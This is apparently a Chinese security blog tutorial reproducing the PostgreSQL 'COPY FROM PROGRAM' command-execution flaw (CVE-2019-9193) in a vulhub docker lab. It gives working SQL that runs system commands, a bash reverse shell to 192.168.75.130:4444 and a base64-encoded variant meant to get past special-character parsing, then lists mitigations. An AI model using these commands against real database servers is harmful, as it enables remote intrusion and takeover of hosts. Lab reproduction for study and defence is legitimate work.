PostgreSQL数据库提权

前面讲述了mysql、SqlServer、Redis数据库相关的提权方式,有兴趣的也可以去看看。

这里讲的postgreSQL数据库提权就是任意命令执行漏洞(CVE-2019-9193)。

目录

数据库简介

漏洞原理

影响版本

漏洞利用

利用前提

漏洞复现

复现准备

复现过程

 漏洞修复


数据库简介

postgreSQL是一个功能强大对象关系数据库管理系统。

漏洞原理

从9.3版本开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能允许数据库的超级管理员用户以及pg_read_server_files组中的任何用户执行操作系统命令。

影响版本

PostgreSQL 9.3 - 11.2

漏洞利用

利用前提

  • 需要登陆
  • 需要高权限

这就意味着,需要进行弱口令爆破或者其他方式知道账号密码登录之后,然后查看是否是高权限。

漏洞复现

复现准备

这里使用vulhub靶场复现,vulhub搭建自行搜索。

cd postgres/CVE-2019-9193
docker-compose up -d
docker-compose down -v     #关闭靶机

然后需要使用dbeaver连接PostgreSQL(看到很多资料都是使用navicat连接的,但是看了一下navicat是需要购买的(有试用期,网上也有很多破解版)不介意的可以去探索使用navicat,因为navicat确实比dbeaver是更强大的)。

dbeaver安装参考链接:【数据库】DBeaver操作所有数据库管理工具使用详解_dbeaver的使用-CSDN博客

dbeaver是一款数据库连接工具,免费且跨平台。

navicat是非常强大的可视化数据库管理工具,提供图形化界面,提供简便的管理方法。

复现过程

1、使用dbeaver连接PostgreSQL:账号/密码为postgres/postgres。

2、然后右键public,新建查询

3、然后执行以下命令

-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数,这里输出系统信息
COPY cmd_exec FROM PROGRAM 'id'; 

-- 查看执行结果
SELECT * FROM cmd_exec;

可以看到成功执行。

4、接下来进一步利用,进行反弹shell。先开启监听nc

5、执行以下反弹shell命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1'; 
SELECT * FROM cmd_exec;

可以看到这里出现了错误

6、尝试将反弹shell进行base64编码(注意这里不是编码直接放进去,编码后的不能进行执行,要做的是解决数据传输过程中的特殊字符被解析的问题,所以可以写入一条将编码后的解码然后再执行的一条命令)

#编码前
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1'; 

#编码后
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzUuMTMwLzQ0NDQgMD4mMQo=" | base64 -d | bash';

 成功执行。

7、成功反弹shell

 漏洞修复

  • pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
  • 增强密码的复杂度;
  • 进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;
  • 16
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值